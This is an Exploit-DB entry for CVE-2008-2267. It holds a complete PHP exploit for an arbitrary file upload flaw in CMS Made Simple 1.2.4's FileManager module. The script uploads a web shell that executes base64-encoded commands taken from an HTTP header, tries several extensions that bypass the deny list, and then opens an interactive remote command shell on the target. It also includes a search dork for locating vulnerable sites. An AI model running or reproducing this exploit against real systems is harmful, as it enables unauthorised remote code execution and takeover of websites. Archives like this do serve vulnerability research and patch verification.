标题: CMS Made Simple 1.2.4 Module FileManager - Arbitrary File Upload EDB-ID: 5600 CVE: 2008-2267 类型: WEBAPPS 平台: PHP 发布日期: 2008-05-12 漏洞利用脚本: <?php

/*
 ---------------------------------------------------------------------------
 CMS Made Simple <= 1.2.4 (FileManager module) Arbitrary File Upload Exploit
 ---------------------------------------------------------------------------
 
 author...: EgiX
 mail.....: n0b0d13s[at]gmail[dot]com
 
 link.....: http://www.cmsmadesimple.org/
 dork.....: "This site is powered by CMS Made Simple"

 [-] vulnerable code in /modules/FileManager/postlet/javaUpload.php
 
 21. // Configuration ---------------------------------------------------------------
 22. // Change the below path to the folder where you would like files uploading.
 23. // e.g. "/home/yourname/myuploads/"
 24. // or "c:\php\uploads\"
 25. // Note, this MUST have the trailing slash.
 26. $uploaddir = '[PATH TO UPLOAD DIRECTORY]';
 27. // Whether or not to allow the upload of specific files
 28. $allow_or_deny = true;
 29. // If the above is true, then this states whether the array of files is a list of
 30. // extensions to ALLOW, or DENY
 31. $allow_or_deny_method = "deny"; // "allow" or "deny"
 32. $file_extension_list = array("php","asp","pl");
 33. // -----------------------------------------------------------------------------
 34. if ($allow_or_deny){
 35.  if (($allow_or_deny_method == "allow" && !in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))
 36.   || ($allow_or_deny_method == "deny" && in_array(strtolower(array_pop(explode('.', $_FILES['userfile']['name']))), $file_extension_list))){  
 37.   // Atempt to upload a file with a specific extension when NOT allowed.
 38.   // 403 error
 39.   header("HTTP/1.1 403 Forbidden");
 40.   echo "POSTLET REPLY\r\n";
 41.   echo "POSTLET:NO\r\n";
 42.   echo "POSTLET:FILE TYPE NOT ALLOWED\r\n";
 43.   echo "POSTLET:ABORT THIS\r\n"; // Postlet should NOT send this file again.
 44.   echo "END POSTLET REPLY\r\n";
 45.   exit;
 46.  }
 47. }
 48. if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir .$_FILES['userfile']['name']))
 49. {
 50.  // All replies MUST start with "POSTLET REPLY", if they don't, then Postlet will
 51.  // not read the reply and will assume the file uploaded successfully.
 52.  echo "POSTLET REPLY\r\n";
 53.  // "YES" tells Postlet that this file was successfully uploaded.
 54.      echo "POSTLET:YES\r\n";
 55.  // End the Postlet reply
 56.  echo "END POSTLET REPLY\r\n";
 57.  exit;
 
 with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious
 PHP code due to $file_extension_list array don't contains many dangerous extensions (.jsp, .php3, .cgi, .dhtml, etc...)
 
*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

function http_send($host, $packet)
{
 $sock = fsockopen($host, 80);
 while (!$sock)
 {
  print "\n[-] No response from {$host}:80 Trying again...";
  $sock = fsockopen($host, 80);
 }
 fputs($sock, $packet);
 while (!feof($sock)) $resp .= fread($sock, 1024);
 fclose($sock);
 return $resp;
}

function upload()
{
 global $host, $path, $uploaddir, $file_ext;
 
 foreach ($file_ext as $ext)
 {
  print "\n[-] Trying to upload with .{$ext} extension...";
  
  $data  = "--12345\r\n";
  $data .= "Content-Disposition: form-data; name=\"userfile\"; filename=\".php.{$ext}\"\r\n";
  $data .= "Content-Type: application/octet-stream\r\n\r\n";
  $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\n";
  $data .= "--12345--\r\n";
  
  $packet  = "POST {$path}modules/FileManager/postlet/javaUpload.php HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Content-Length: ".strlen($data)."\r\n";
  $packet .= "Content-Type: multipart/form-data; boundary=12345\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $packet .= $data;
  $html  = http_send($host, $packet);
  
  if (!eregi("POSTLET:YES", $html)) die("\n[-] Upload failed!\n");
  
  $packet  = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n";
  $packet .= "Host: {$host}\r\n";
  $packet .= "Connection: close\r\n\r\n";
  $html    = http_send($host, $packet);
  
  if (!eregi("print", $html) and eregi("_code_", $html)) return $ext;
  
  sleep(1);
 }
 
 return false;
}

print "\n+----------------------------------------------------------------+";
print "\n| CMS Made Simple <= 1.2.4 Arbitrary File Upload Exploit by EgiX |";
print "\n+----------------------------------------------------------------+\n";

if ($argc < 2)
{
 print "\nUsage......: php $argv[0] host path";
 print "\nExample....: php $argv[0] localhost /cms/\n";
 die();
}

$host = $argv[1];
$path = $argv[2];

$uploaddir = rawurlencode("[PATH TO UPLOAD DIRECTORY]");
$file_ext  = array("dhtml", "phtml", "php3", "php5", "jsp", "jar", "cgi");

if (!($ext = upload())) die("\n\n[-] Exploit failed...\n");
else print "\n[-] Shell uploaded...starting it!\n";

define(STDIN, fopen("php://stdin", "r"));

while(1)
{
 print "\ncmsmadesimple-shell# ";
 $cmd = trim(fgets(STDIN));
 if ($cmd != "exit")
 {
  $packet = "GET {$path}modules/FileManager/postlet/{$uploaddir}.php.{$ext} HTTP/1.0\r\n";
  $packet.= "Host: {$host}\r\n";
  $packet.= "Cmd: ".base64_encode($cmd)."\r\n";
  $packet.= "Connection: close\r\n\r\n";
  $html   = http_send($host, $packet);
  //echo $html;
  if (!eregi("_code_", $html)) die("\n[-] Exploit failed...\n");
  $shell = explode("_code_", $html);
  print "\n{$shell[1]}";
 }
 else break;
}

?>

# milw0rm.com [2008-05-12] URL: https://www.exploit-db.com/exploits/5600